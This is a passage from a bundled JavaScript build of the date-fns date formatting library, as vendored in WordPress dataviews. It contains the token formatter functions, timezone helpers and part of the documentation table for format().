29314 return addLeadingZeros(month + 1, 2);
29315 // 1st, 2nd, ..., 12th
29316 case "Lo":
29317 return localize.ordinalNumber(month + 1, { unit: "month" });
29318 // Jan, Feb, ..., Dec
29319 case "LLL":
29320 return localize.month(month, {
29321 width: "abbreviated",
29322 context: "standalone",
29323 });
29324 // J, F, ..., D
29325 case "LLLLL":
29326 return localize.month(month, {
29327 width: "narrow",
29328 context: "standalone",
29329 });
29330 // January, February, ..., December
29331 case "LLLL":
29332 default:
29333 return localize.month(month, { width: "wide", context: "standalone" });
29334 }
29335 },
29336
29337 // Local week of year
29338 w: function (date, token, localize, options) {
29339 const week = getWeek(date, options);
29340
29341 if (token === "wo") {
29342 return localize.ordinalNumber(week, { unit: "week" });
29343 }
29344
29345 return addLeadingZeros(week, token.length);
29346 },
29347
29348 // ISO week of year
29349 I: function (date, token, localize) {
29350 const isoWeek = getISOWeek(date);
29351
29352 if (token === "Io") {
29353 return localize.ordinalNumber(isoWeek, { unit: "week" });
29354 }
29355
29356 return addLeadingZeros(isoWeek, token.length);
29357 },
29358
29359 // Day of the month
29360 d: function (date, token, localize) {
29361 if (token === "do") {
29362 return localize.ordinalNumber(date.getDate(), { unit: "date" });
29363 }
29364
29365 return lightFormatters.d(date, token);
29366 },
29367
29368 // Day of year
29369 D: function (date, token, localize) {
29370 const dayOfYear = getDayOfYear(date);
29371
29372 if (token === "Do") {
29373 return localize.ordinalNumber(dayOfYear, { unit: "dayOfYear" });
29374 }
29375
29376 return addLeadingZeros(dayOfYear, token.length);
29377 },
29378
29379 // Day of week
29380 E: function (date, token, localize) {
29381 const dayOfWeek = date.getDay();
29382 switch (token) {
29383 // Tue
29384 case "E":
29385 case "EE":
29386 case "EEE":
29387 return localize.day(dayOfWeek, {
29388 width: "abbreviated",
29389 context: "formatting",
29390 });
29391 // T
29392 case "EEEEE":
29393 return localize.day(dayOfWeek, {
29394 width: "narrow",
29395 context: "formatting",
29396 });
29397 // Tu
29398 case "EEEEEE":
29399 return localize.day(dayOfWeek, {
29400 width: "short",
29401 context: "formatting",
29402 });
29403 // Tuesday
29404 case "EEEE":
29405 default:
29406 return localize.day(dayOfWeek, {
29407 width: "wide",
29408 context: "formatting",
29409 });
29410 }
29411 },
29412
29413 // Local day of week
29414 e: function (date, token, localize, options) {
29415 const dayOfWeek = date.getDay();
29416 const localDayOfWeek = (dayOfWeek - options.weekStartsOn + 8) % 7 || 7;
29417 switch (token) {
29418 // Numerical value (Nth day of week with current locale or weekStartsOn)
29419 case "e":
29420 return String(localDayOfWeek);
29421 // Padded numerical value
29422 case "ee":
29423 return addLeadingZeros(localDayOfWeek, 2);
29424 // 1st, 2nd, ..., 7th
29425 case "eo":
29426 return localize.ordinalNumber(localDayOfWeek, { unit: "day" });
29427 case "eee":
29428 return localize.day(dayOfWeek, {
29429 width: "abbreviated",
29430 context: "formatting",
29431 });
29432 // T
29433 case "eeeee":
29434 return localize.day(dayOfWeek, {
29435 width: "narrow",
29436 context: "formatting",
29437 });
29438 // Tu
29439 case "eeeeee":
29440 return localize.day(dayOfWeek, {
29441 width: "short",
29442 context: "formatting",
29443 });
29444 // Tuesday
29445 case "eeee":
29446 default:
29447 return localize.day(dayOfWeek, {
29448 width: "wide",
29449 context: "formatting",
29450 });
29451 }
29452 },
29453
29454 // Stand-alone local day of week
29455 c: function (date, token, localize, options) {
29456 const dayOfWeek = date.getDay();
29457 const localDayOfWeek = (dayOfWeek - options.weekStartsOn + 8) % 7 || 7;
29458 switch (token) {
29459 // Numerical value (same as in `e`)
29460 case "c":
29461 return String(localDayOfWeek);
29462 // Padded numerical value
29463 case "cc":
29464 return addLeadingZeros(localDayOfWeek, token.length);
29465 // 1st, 2nd, ..., 7th
29466 case "co":
29467 return localize.ordinalNumber(localDayOfWeek, { unit: "day" });
29468 case "ccc":
29469 return localize.day(dayOfWeek, {
29470 width: "abbreviated",
29471 context: "standalone",
29472 });
29473 // T
29474 case "ccccc":
29475 return localize.day(dayOfWeek, {
29476 width: "narrow",
29477 context: "standalone",
29478 });
29479 // Tu
29480 case "cccccc":
29481 return localize.day(dayOfWeek, {
29482 width: "short",
29483 context: "standalone",
29484 });
29485 // Tuesday
29486 case "cccc":
29487 default:
29488 return localize.day(dayOfWeek, {
29489 width: "wide",
29490 context: "standalone",
29491 });
29492 }
29493 },
29494
29495 // ISO day of week
29496 i: function (date, token, localize) {
29497 const dayOfWeek = date.getDay();
29498 const isoDayOfWeek = dayOfWeek === 0 ? 7 : dayOfWeek;
29499 switch (token) {
29500 // 2
29501 case "i":
29502 return String(isoDayOfWeek);
29503 // 02
29504 case "ii":
29505 return addLeadingZeros(isoDayOfWeek, token.length);
29506 // 2nd
29507 case "io":
29508 return localize.ordinalNumber(isoDayOfWeek, { unit: "day" });
29509 // Tue
29510 case "iii":
29511 return localize.day(dayOfWeek, {
29512 width: "abbreviated",
29513 context: "formatting",
29514 });
29515 // T
29516 case "iiiii":
29517 return localize.day(dayOfWeek, {
29518 width: "narrow",
29519 context: "formatting",
29520 });
29521 // Tu
29522 case "iiiiii":
29523 return localize.day(dayOfWeek, {
29524 width: "short",
29525 context: "formatting",
29526 });
29527 // Tuesday
29528 case "iiii":
29529 default:
29530 return localize.day(dayOfWeek, {
29531 width: "wide",
29532 context: "formatting",
29533 });
29534 }
29535 },
29536
29537 // AM or PM
29538 a: function (date, token, localize) {
29539 const hours = date.getHours();
29540 const dayPeriodEnumValue = hours / 12 >= 1 ? "pm" : "am";
29541
29542 switch (token) {
29543 case "a":
29544 case "aa":
29545 return localize.dayPeriod(dayPeriodEnumValue, {
29546 width: "abbreviated",
29547 context: "formatting",
29548 });
29549 case "aaa":
29550 return localize
29551 .dayPeriod(dayPeriodEnumValue, {
29552 width: "abbreviated",
29553 context: "formatting",
29554 })
29555 .toLowerCase();
29556 case "aaaaa":
29557 return localize.dayPeriod(dayPeriodEnumValue, {
29558 width: "narrow",
29559 context: "formatting",
29560 });
29561 case "aaaa":
29562 default:
29563 return localize.dayPeriod(dayPeriodEnumValue, {
29564 width: "wide",
29565 context: "formatting",
29566 });
29567 }
29568 },
29569
29570 // AM, PM, midnight, noon
29571 b: function (date, token, localize) {
29572 const hours = date.getHours();
29573 let dayPeriodEnumValue;
29574 if (hours === 12) {
29575 dayPeriodEnumValue = dayPeriodEnum.noon;
29576 } else if (hours === 0) {
29577 dayPeriodEnumValue = dayPeriodEnum.midnight;
29578 } else {
29579 dayPeriodEnumValue = hours / 12 >= 1 ? "pm" : "am";
29580 }
29581
29582 switch (token) {
29583 case "b":
29584 case "bb":
29585 return localize.dayPeriod(dayPeriodEnumValue, {
29586 width: "abbreviated",
29587 context: "formatting",
29588 });
29589 case "bbb":
29590 return localize
29591 .dayPeriod(dayPeriodEnumValue, {
29592 width: "abbreviated",
29593 context: "formatting",
29594 })
29595 .toLowerCase();
29596 case "bbbbb":
29597 return localize.dayPeriod(dayPeriodEnumValue, {
29598 width: "narrow",
29599 context: "formatting",
29600 });
29601 case "bbbb":
29602 default:
29603 return localize.dayPeriod(dayPeriodEnumValue, {
29604 width: "wide",
29605 context: "formatting",
29606 });
29607 }
29608 },
29609
29610 // in the morning, in the afternoon, in the evening, at night
29611 B: function (date, token, localize) {
29612 const hours = date.getHours();
29613 let dayPeriodEnumValue;
29614 if (hours >= 17) {
29615 dayPeriodEnumValue = dayPeriodEnum.evening;
29616 } else if (hours >= 12) {
29617 dayPeriodEnumValue = dayPeriodEnum.afternoon;
29618 } else if (hours >= 4) {
29619 dayPeriodEnumValue = dayPeriodEnum.morning;
29620 } else {
29621 dayPeriodEnumValue = dayPeriodEnum.night;
29622 }
29623
29624 switch (token) {
29625 case "B":
29626 case "BB":
29627 case "BBB":
29628 return localize.dayPeriod(dayPeriodEnumValue, {
29629 width: "abbreviated",
29630 context: "formatting",
29631 });
29632 case "BBBBB":
29633 return localize.dayPeriod(dayPeriodEnumValue, {
29634 width: "narrow",
29635 context: "formatting",
29636 });
29637 case "BBBB":
29638 default:
29639 return localize.dayPeriod(dayPeriodEnumValue, {
29640 width: "wide",
29641 context: "formatting",
29642 });
29643 }
29644 },
29645
29646 // Hour [1-12]
29647 h: function (date, token, localize) {
29648 if (token === "ho") {
29649 let hours = date.getHours() % 12;
29650 if (hours === 0) hours = 12;
29651 return localize.ordinalNumber(hours, { unit: "hour" });
29652 }
29653
29654 return lightFormatters.h(date, token);
29655 },
29656
29657 // Hour [0-23]
29658 H: function (date, token, localize) {
29659 if (token === "Ho") {
29660 return localize.ordinalNumber(date.getHours(), { unit: "hour" });
29661 }
29662
29663 return lightFormatters.H(date, token);
29664 },
29665
29666 // Hour [0-11]
29667 K: function (date, token, localize) {
29668 const hours = date.getHours() % 12;
29669
29670 if (token === "Ko") {
29671 return localize.ordinalNumber(hours, { unit: "hour" });
29672 }
29673
29674 return addLeadingZeros(hours, token.length);
29675 },
29676
29677 // Hour [1-24]
29678 k: function (date, token, localize) {
29679 let hours = date.getHours();
29680 if (hours === 0) hours = 24;
29681
29682 if (token === "ko") {
29683 return localize.ordinalNumber(hours, { unit: "hour" });
29684 }
29685
29686 return addLeadingZeros(hours, token.length);
29687 },
29688
29689 // Minute
29690 m: function (date, token, localize) {
29691 if (token === "mo") {
29692 return localize.ordinalNumber(date.getMinutes(), { unit: "minute" });
29693 }
29694
29695 return lightFormatters.m(date, token);
29696 },
29697
29698 // Second
29699 s: function (date, token, localize) {
29700 if (token === "so") {
29701 return localize.ordinalNumber(date.getSeconds(), { unit: "second" });
29702 }
29703
29704 return lightFormatters.s(date, token);
29705 },
29706
29707 // Fraction of second
29708 S: function (date, token) {
29709 return lightFormatters.S(date, token);
29710 },
29711
29712 // Timezone (ISO-8601. If offset is 0, output is always `'Z'`)
29713 X: function (date, token, _localize) {
29714 const timezoneOffset = date.getTimezoneOffset();
29715
29716 if (timezoneOffset === 0) {
29717 return "Z";
29718 }
29719
29720 switch (token) {
29721 // Hours and optional minutes
29722 case "X":
29723 return formatTimezoneWithOptionalMinutes(timezoneOffset);
29724
29725 // Hours, minutes and optional seconds without `:` delimiter
29726 // Note: neither ISO-8601 nor JavaScript supports seconds in timezone offsets
29727 // so this token always has the same output as `XX`
29728 case "XXXX":
29729 case "XX": // Hours and minutes without `:` delimiter
29730 return formatTimezone(timezoneOffset);
29731
29732 // Hours, minutes and optional seconds with `:` delimiter
29733 // Note: neither ISO-8601 nor JavaScript supports seconds in timezone offsets
29734 // so this token always has the same output as `XXX`
29735 case "XXXXX":
29736 case "XXX": // Hours and minutes with `:` delimiter
29737 default:
29738 return formatTimezone(timezoneOffset, ":");
29739 }
29740 },
29741
29742 // Timezone (ISO-8601. If offset is 0, output is `'+00:00'` or equivalent)
29743 x: function (date, token, _localize) {
29744 const timezoneOffset = date.getTimezoneOffset();
29745
29746 switch (token) {
29747 // Hours and optional minutes
29748 case "x":
29749 return formatTimezoneWithOptionalMinutes(timezoneOffset);
29750
29751 // Hours, minutes and optional seconds without `:` delimiter
29752 // Note: neither ISO-8601 nor JavaScript supports seconds in timezone offsets
29753 // so this token always has the same output as `xx`
29754 case "xxxx":
29755 case "xx": // Hours and minutes without `:` delimiter
29756 return formatTimezone(timezoneOffset);
29757
29758 // Hours, minutes and optional seconds with `:` delimiter
29759 // Note: neither ISO-8601 nor JavaScript supports seconds in timezone offsets
29760 // so this token always has the same output as `xxx`
29761 case "xxxxx":
29762 case "xxx": // Hours and minutes with `:` delimiter
29763 default:
29764 return formatTimezone(timezoneOffset, ":");
29765 }
29766 },
29767
29768 // Timezone (GMT)
29769 O: function (date, token, _localize) {
29770 const timezoneOffset = date.getTimezoneOffset();
29771
29772 switch (token) {
29773 // Short
29774 case "O":
29775 case "OO":
29776 case "OOO":
29777 return "GMT" + formatTimezoneShort(timezoneOffset, ":");
29778 // Long
29779 case "OOOO":
29780 default:
29781 return "GMT" + formatTimezone(timezoneOffset, ":");
29782 }
29783 },
29784
29785 // Timezone (specific non-location)
29786 z: function (date, token, _localize) {
29787 const timezoneOffset = date.getTimezoneOffset();
29788
29789 switch (token) {
29790 // Short
29791 case "z":
29792 case "zz":
29793 case "zzz":
29794 return "GMT" + formatTimezoneShort(timezoneOffset, ":");
29795 // Long
29796 case "zzzz":
29797 default:
29798 return "GMT" + formatTimezone(timezoneOffset, ":");
29799 }
29800 },
29801
29802 // Seconds timestamp
29803 t: function (date, token, _localize) {
29804 const timestamp = Math.trunc(+date / 1000);
29805 return addLeadingZeros(timestamp, token.length);
29806 },
29807
29808 // Milliseconds timestamp
29809 T: function (date, token, _localize) {
29810 return addLeadingZeros(+date, token.length);
29811 },
29812};
29813
29814function formatTimezoneShort(offset, delimiter = "") {
29815 const sign = offset > 0 ? "-" : "+";
29816 const absOffset = Math.abs(offset);
29817 const hours = Math.trunc(absOffset / 60);
29818 const minutes = absOffset % 60;
29819 if (minutes === 0) {
29820 return sign + String(hours);
29821 }
29822 return sign + String(hours) + delimiter + addLeadingZeros(minutes, 2);
29823}
29824
29825function formatTimezoneWithOptionalMinutes(offset, delimiter) {
29826 if (offset % 60 === 0) {
29827 const sign = offset > 0 ? "-" : "+";
29828 return sign + addLeadingZeros(Math.abs(offset) / 60, 2);
29829 }
29830 return formatTimezone(offset, delimiter);
29831}
29832
29833function formatTimezone(offset, delimiter = "") {
29834 const sign = offset > 0 ? "-" : "+";
29835 const absOffset = Math.abs(offset);
29836 const hours = addLeadingZeros(Math.trunc(absOffset / 60), 2);
29837 const minutes = addLeadingZeros(absOffset % 60, 2);
29838 return sign + hours + delimiter + minutes;
29839}
29840
29841;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/_lib/format/longFormatters.js
29842const dateLongFormatter = (pattern, formatLong) => {
29843 switch (pattern) {
29844 case "P":
29845 return formatLong.date({ width: "short" });
29846 case "PP":
29847 return formatLong.date({ width: "medium" });
29848 case "PPP":
29849 return formatLong.date({ width: "long" });
29850 case "PPPP":
29851 default:
29852 return formatLong.date({ width: "full" });
29853 }
29854};
29855
29856const timeLongFormatter = (pattern, formatLong) => {
29857 switch (pattern) {
29858 case "p":
29859 return formatLong.time({ width: "short" });
29860 case "pp":
29861 return formatLong.time({ width: "medium" });
29862 case "ppp":
29863 return formatLong.time({ width: "long" });
29864 case "pppp":
29865 default:
29866 return formatLong.time({ width: "full" });
29867 }
29868};
29869
29870const dateTimeLongFormatter = (pattern, formatLong) => {
29871 const matchResult = pattern.match(/(P+)(p+)?/) || [];
29872 const datePattern = matchResult[1];
29873 const timePattern = matchResult[2];
29874
29875 if (!timePattern) {
29876 return dateLongFormatter(pattern, formatLong);
29877 }
29878
29879 let dateTimeFormat;
29880
29881 switch (datePattern) {
29882 case "P":
29883 dateTimeFormat = formatLong.dateTime({ width: "short" });
29884 break;
29885 case "PP":
29886 dateTimeFormat = formatLong.dateTime({ width: "medium" });
29887 break;
29888 case "PPP":
29889 dateTimeFormat = formatLong.dateTime({ width: "long" });
29890 break;
29891 case "PPPP":
29892 default:
29893 dateTimeFormat = formatLong.dateTime({ width: "full" });
29894 break;
29895 }
29896
29897 return dateTimeFormat
29898 .replace("{{date}}", dateLongFormatter(datePattern, formatLong))
29899 .replace("{{time}}", timeLongFormatter(timePattern, formatLong));
29900};
29901
29902const longFormatters = {
29903 p: timeLongFormatter,
29904 P: dateTimeLongFormatter,
29905};
29906
29907;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/_lib/protectedTokens.js
29908const dayOfYearTokenRE = /^D+$/;
29909const weekYearTokenRE = /^Y+$/;
29910
29911const throwTokens = ["D", "DD", "YY", "YYYY"];
29912
29913function isProtectedDayOfYearToken(token) {
29914 return dayOfYearTokenRE.test(token);
29915}
29916
29917function isProtectedWeekYearToken(token) {
29918 return weekYearTokenRE.test(token);
29919}
29920
29921function warnOrThrowProtectedError(token, format, input) {
29922 const _message = message(token, format, input);
29923 console.warn(_message);
29924 if (throwTokens.includes(token)) throw new RangeError(_message);
29925}
29926
29927function message(token, format, input) {
29928 const subject = token[0] === "Y" ? "years" : "days of the month";
29929 return `Use \`${token.toLowerCase()}\` instead of \`${token}\` (in \`${format}\`) for formatting ${subject} to the input \`${input}\`; see: https://github.com/date-fns/date-fns/blob/master/docs/unicodeTokens.md`;
29930}
29931
29932;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/format.js
29933
29934
29935
29936
29937
29938
29939
29940
29941// Rexports of internal for libraries to use.
29942// See: https://github.com/date-fns/date-fns/issues/3638#issuecomment-1877082874
29943
29944
29945// This RegExp consists of three parts separated by `|`:
29946// - [yYQqMLwIdDecihHKkms]o matches any available ordinal number token
29947// (one of the certain letters followed by `o`)
29948// - (\w)\1* matches any sequences of the same letter
29949// - '' matches two quote characters in a row
29950// - '(''|[^'])+('|$) matches anything surrounded by two quote characters ('),
29951// except a single quote symbol, which ends the sequence.
29952// Two quote characters do not end the sequence.
29953// If there is no matching single quote
29954// then the sequence will continue until the end of the string.
29955// - . matches any single character unmatched by previous parts of the RegExps
29956const formattingTokensRegExp =
29957 /[yYQqMLwIdDecihHKkms]o|(\w)\1*|''|'(''|[^'])+('|$)|./g;
29958
29959// This RegExp catches symbols escaped by quotes, and also
29960// sequences of symbols P, p, and the combinations like `PPPPPPPppppp`
29961const longFormattingTokensRegExp = /P+p+|P+|p+|''|'(''|[^'])+('|$)|./g;
29962
29963const escapedStringRegExp = /^'([^]*?)'?$/;
29964const doubleQuoteRegExp = /''/g;
29965const unescapedLatinCharacterRegExp = /[a-zA-Z]/;
29966
29967
29968
29969/**
29970 * The {@link format} function options.
29971 */
29972
29973/**
29974 * @name format
29975 * @alias formatDate
29976 * @category Common Helpers
29977 * @summary Format the date.
29978 *
29979 * @description
29980 * Return the formatted date string in the given format. The result may vary by locale.
29981 *
29982 * > ⚠️ Please note that the `format` tokens differ from Moment.js and other libraries.
29983 * > See: https://github.com/date-fns/date-fns/blob/master/docs/unicodeTokens.md
29984 *
29985 * The characters wrapped between two single quotes characters (') are escaped.
29986 * Two single quotes in a row, whether inside or outside a quoted sequence, represent a 'real' single quote.
29987 * (see the last example)
29988 *
29989 * Format of the string is based on Unicode Technical Standard #35:
29990 * https://www.unicode.org/reports/tr35/tr35-dates.html#Date_Field_Symbol_Table
29991 * with a few additions (see note 7 below the table).
29992 *
29993 * Accepted patterns:
29994 * | Unit | Pattern | Result examples | Notes |
29995 * |---------------------------------|---------|-----------------------------------|-------|
29996 * | Era | G..GGG | AD, BC | |
29997 * | | GGGG | Anno Domini, Before Christ | 2 |
29998 * | | GGGGG | A, B | |
29999 * | Calendar year | y | 44, 1, 1900, 2017 | 5 |
30000 * | | yo | 44th, 1st, 0th, 17th | 5,7 |
30001 * | | yy | 44, 01, 00, 17 | 5 |
30002 * | | yyy | 044, 001, 1900, 2017 | 5 |
30003 * | | yyyy | 0044, 0001, 1900, 2017 | 5 |
30004 * | | yyyyy | ... | 3,5 |
30005 * | Local week-numbering year | Y | 44, 1, 1900, 2017 | 5 |
30006 * | | Yo | 44th, 1st, 1900th, 2017th | 5,7 |
30007 * | | YY | 44, 01, 00, 17 | 5,8 |
30008 * | | YYY | 044, 001, 1900, 2017 | 5 |
30009 * | | YYYY | 0044, 0001, 1900, 2017 | 5,8 |
30010 * | | YYYYY | ... | 3,5 |
30011 * | ISO week-numbering year | R | -43, 0, 1, 1900, 2017 | 5,7 |
30012 * | | RR | -43, 00, 01, 1900, 2017 | 5,7 |
30013 * | | RRR | -043, 000, 001, 1900, 2017 | 5,7 |
30014 * | | RRRR | -0043, 0000, 0001, 1900, 2017 | 5,7 |
30015 * | | RRRRR | ... | 3,5,7 |
30016 * | Extended year | u | -43, 0, 1, 1900, 2017 | 5 |
30017 * | | uu | -43, 01, 1900, 2017 | 5 |
30018 * | | uuu | -043, 001, 1900, 2017 | 5 |
30019 * | | uuuu | -0043, 0001, 1900, 2017 | 5 |
30020 * | | uuuuu | ... | 3,5 |
30021 * | Quarter (formatting) | Q | 1, 2, 3, 4 | |
30022 * | | Qo | 1st, 2nd, 3rd, 4th | 7 |
30023 * | | QQ | 01, 02, 03, 04 | |
30024 * | | QQQ | Q1, Q2, Q3, Q4 | |
30025 * | | QQQQ | 1st quarter, 2nd quarter, ... | 2 |
30026 * | | QQQQQ | 1, 2, 3, 4 | 4 |
30027 * | Quarter (stand-alone) | q | 1, 2, 3, 4 | |
30028 * | | qo | 1st, 2nd, 3rd, 4th | 7 |
30029 * | | qq | 01, 02, 03, 04 | |
30030 * | | qqq | Q1, Q2, Q3, Q4 | |
30031 * | | qqqq | 1st quarter, 2nd quarter, ... | 2 |
30032 * | | qqqqq | 1, 2, 3, 4 | 4 |
30033 * | Month (formatting) | M | 1, 2, ..., 12 | |
30034 * | | Mo | 1st, 2nd, ..., 12th | 7 |
30035 * | | MM | 01, 02, ..., 12 | |
30036 * | | MMM | Jan, Feb, ..., Dec | |
30037 * | | MMMM | January, February, ..., December | 2 |
30038 * | | MMMMM | J, F, ..., D | |
30039 * | Month (stand-alone) | L | 1, 2, ..., 12 | |
30040 * | | Lo | 1st, 2nd, ..., 12th | 7 |
30041 * | | LL | 01, 02, ..., 12 | |
30042 * | | LLL | Jan, Feb, ..., Dec | |
30043 * | | LLLL | January, February, ..., December | 2 |
30044 * | | LLLLL | J, F, ..., D | |
30045 * | Local week of year | w | 1, 2, ..., 53 | |
30046 * | | wo | 1st, 2nd, ..., 53th | 7 |
30047 * | | ww | 01, 02, ..., 53 | |
30048 * | ISO week of year | I | 1, 2, ..., 53 | 7 |
30049 * | | Io | 1st, 2nd, ..., 53th | 7 |
30050 * | | II | 01, 02, ..., 53 | 7 |
30051 * | Day of month | d | 1, 2, ..., 31 | |
30052 * | | do | 1st, 2nd, ..., 31st | 7 |
30053 * | | dd | 01, 02, ..., 31 | |
30054 * | Day of year | D | 1, 2, ..., 365, 366 | 9 |
30055 * | | Do | 1st, 2nd, ..., 365th, 366th | 7 |
30056 * | | DD | 01, 02, ..., 365, 366 | 9 |
30057 * | | DDD | 001, 002, ..., 365, 366 | |
30058 * | | DDDD | ... | 3 |
30059 * | Day of week (formatting) | E..EEE | Mon, Tue, Wed, ..., Sun | |
30060 * | | EEEE | Monday, Tuesday, ..., Sunday | 2 |
30061 * | | EEEEE | M, T, W, T, F, S, S | |
30062 * | | EEEEEE | Mo, Tu, We, Th, Fr, Sa, Su | |
30063 * | ISO day of week (formatting) | i | 1, 2, 3, ..., 7 | 7 |
30064 * | | io | 1st, 2nd, ..., 7th | 7 |
30065 * | | ii | 01, 02, ..., 07 | 7 |
30066 * | | iii | Mon, Tue, Wed, ..., Sun | 7 |
30067 * | | iiii | Monday, Tuesday, ..., Sunday | 2,7 |
30068 * | | iiiii | M, T, W, T, F, S, S | 7 |
30069 * | | iiiiii | Mo, Tu, We, Th, Fr, Sa, Su | 7 |
30070 * | Local day of week (formatting) | e | 2, 3, 4, ..., 1 | |
30071 * | | eo | 2nd, 3rd, ..., 1st | 7 |
30072 * | | ee | 02, 03, ..., 01 | |
30073 * | | eee | Mon, Tue, Wed, ..., Sun | |
30074 * | | eeee | Monday, Tuesday, ..., Sunday | 2 |
30075 * | | eeeee | M, T, W, T, F, S, S | |
30076 * | | eeeeee | Mo, Tu, We, Th, Fr, Sa, Su | |
30077 * | Local day of week (stand-alone) | c | 2, 3, 4, ..., 1 | |
30078 * | | co | 2nd, 3rd, ..., 1st | 7 |
30079 * | | cc | 02, 03, ..., 01 | |
30080 * | | ccc | Mon, Tue, Wed, ..., Sun | |
30081 * | | cccc | Monday, Tuesday, ..., Sunday | 2 |
30082 * | | ccccc | M, T, W, T, F, S, S | |
30083 * | | cccccc | Mo, Tu, We, Th, Fr, Sa, Su | |
30084 * | AM, PM | a..aa | AM, PM | |
30085 * | | aaa | am, pm | |
30086 * | | aaaa | a.m., p.m. | 2 |
30087 * | | aaaaa | a, p | |
30088 * | AM, PM, noon, midnight | b..bb | AM, PM, noon, midnight | |
30089 * | | bbb | am, pm, noon, midnight | |
30090 * | | bbbb | a.m., p.m., noon, midnight | 2 |
30091 * | | bbbbb | a, p, n, mi | |
30092 * | Flexible day period | B..BBB | at night, in the morning, ... | |
30093 * | | BBBB | at night, in the morning, ... | 2 |
30094 * | | BBBBB | at night, in the morning, ... | |
30095 * | Hour [1-12] | h | 1, 2, ..., 11, 12 | |
30096 * | | ho | 1st, 2nd, ..., 11th, 12th | 7 |
30097 * | | hh | 01, 02, ..., 11, 12 | |
30098 * | Hour [0-23] | H | 0, 1, 2, ..., 23 | |
30099 * | | Ho | 0th, 1st, 2nd, ..., 23rd | 7 |
30100 * | | HH | 00, 01, 02, ..., 23 | |
30101 * | Hour [0-11] | K | 1, 2, ..., 11, 0 | |
30102 * | | Ko | 1st, 2nd, ..., 11th, 0th | 7 |
30103 * | | KK | 01, 02, ..., 11, 00 | |
30104 * | Hour [1-24] | k | 24, 1, 2, ..., 23 | |
30105 * | | ko | 24th, 1st, 2nd, ..., 23rd | 7 |
30106 * | | kk | 24, 01, 02, ..., 23 | |
30107 * | Minute | m | 0, 1, ..., 59 | |
30108 * | | mo | 0th, 1st, ..., 59th | 7 |
30109 * | | mm | 00, 01, ..., 59 | |
30110 * | Second | s | 0, 1, ..., 59 | |
30111 * | | so | 0th, 1st, ..., 59th | 7 |
30112 * | | ss | 00, 01, ..., 59 | |
30113 * | Fraction of second | S | 0, 1, ..., 9 | |
30114 * | | SS | 00, 01, ..., 99 | |
30115 * | | SSS | 000, 001, ..., 999 | |
30116 * | | SSSS | ... | 3 |
30117 * | Timezone (ISO-8601 w/ Z) | X | -08, +0530, Z | |
30118 * | | XX | -0800, +0530, Z | |
30119 * | | XXX | -08:00, +05:30, Z | |
30120 * | | XXXX | -0800, +0530, Z, +123456 | 2 |
30121 * | | XXXXX | -08:00, +05:30, Z, +12:34:56 | |
30122 * | Timezone (ISO-8601 w/o Z) | x | -08, +0530, +00 | |
30123 * | | xx | -0800, +0530, +0000 | |
30124 * | | xxx | -08:00, +05:30, +00:00 | 2 |
30125 * | | xxxx | -0800, +0530, +0000, +123456 | |
30126 * | | xxxxx | -08:00, +05:30, +00:00, +12:34:56 | |
30127 * | Timezone (GMT) | O...OOO | GMT-8, GMT+5:30, GMT+0 | |
30128 * | | OOOO | GMT-08:00, GMT+05:30, GMT+00:00 | 2 |
30129 * | Timezone (specific non-locat.) | z...zzz | GMT-8, GMT+5:30, GMT+0 | 6 |
30130 * | | zzzz | GMT-08:00, GMT+05:30, GMT+00:00 | 2,6 |
30131 * | Seconds timestamp | t | 512969520 | 7 |
30132 * | | tt | ... | 3,7 |
30133 * | Milliseconds timestamp | T | 512969520900 | 7 |
30134 * | | TT | ... | 3,7 |
30135 * | Long localized date | P | 04/29/1453 | 7 |
30136 * | | PP | Apr 29, 1453 | 7 |
30137 * | | PPP | April 29th, 1453 | 7 |
30138 * | | PPPP | Friday, April 29th, 1453 | 2,7 |
30139 * | Long localized time | p | 12:00 AM | 7 |
30140 * | | pp | 12:00:00 AM | 7 |
30141 * | | ppp | 12:00:00 AM GMT+2 | 7 |
30142 * | | pppp | 12:00:00 AM GMT+02:00 | 2,7 |
30143 * | Combination of date and time | Pp | 04/29/1453, 12:00 AM | 7 |
30144 * | | PPpp | Apr 29, 1453, 12:00:00 AM | 7 |
30145 * | | PPPppp | April 29th, 1453 at ... | 7 |
30146 * | | PPPPpppp| Friday, April 29th, 1453 at ... | 2,7 |
30147 * Notes:
30148 * 1. "Formatting" units (e.g. formatting quarter) in the default en-US locale
30149 * are the same as "stand-alone" units, but are different in some languages.
30150 * "Formatting" units are declined according to the rules of the language
30151 * in the context of a date. "Stand-alone" units are always nominative singular:
30152 *
30153 * `format(new Date(2017, 10, 6), 'do LLLL', {locale: cs}) //=> '6. listopad'`
30154 *
30155 * `format(new Date(2017, 10, 6), 'do MMMM', {locale: cs}) //=> '6. listopadu'`
30156 *
30157 * 2. Any sequence of the identical letters is a pattern, unless it is escaped by
30158 * the single quote characters (see below).
30159 * If the sequence is longer than listed in table (e.g. `EEEEEEEEEEE`)
30160 * the output will be the same as default pattern for this unit, usually
30161 * the longest one (in case of ISO weekdays, `EEEE`). Default patterns for units
30162 * are marked with "2" in the last column of the table.
30163 *
30164 * `format(new Date(2017, 10, 6), 'MMM') //=> 'Nov'`
30165 *
30166 * `format(new Date(2017, 10, 6), 'MMMM') //=> 'November'`
30167 *
30168 * `format(new Date(2017, 10, 6), 'MMMMM') //=> 'N'`
30169 *
30170 * `format(new Date(2017, 10, 6), 'MMMMMM') //=> 'November'`
30171 *
30172 * `format(new Date(2017, 10, 6), 'MMMMMMM') //=> 'November'`
30173 *
30174 * 3. Some patterns could be unlimited length (such as `yyyyyyyy`).
30175 * The output will be padded with zeros to match the length of the pattern.
30176 *
30177 * `format(new Date(2017, 10, 6), 'yyyyyyyy') //=> '00002017'`
30178 *
30179 * 4. `QQQQQ` and `qqqqq` could be not strictly numerical in some locales.
30180 * These tokens represent the shortest form of the quarter.
30181 *
30182 * 5. The main difference between `y` and `u` patterns are B.C. years:
30183 *
30184 * | Year | `y` | `u` |
30185 * |------|-----|-----|
30186 * | AC 1 | 1 | 1 |
30187 * | BC 1 | 1 | 0 |
30188 * | BC 2 | 2 | -1 |
30189 *
30190 * Also `yy` always returns the last two digits of a year,
30191 * while `uu` pads single digit years to 2 characters and returns other years unchanged:
30192 *
30193 * | Year | `yy` | `uu` |
30194 * |------|------|------|
30195 * | 1 | 01 | 01 |
30196 * | 14 | 14 | 14 |
30197 * | 376 | 76 | 376 |
30198 * | 1453 | 53 | 1453 |
30199 *
30200 * The same difference is true for local and ISO week-numbering years (`Y` and `R`),
30201 * except local week-numbering years are dependent on `options.weekStartsOn`
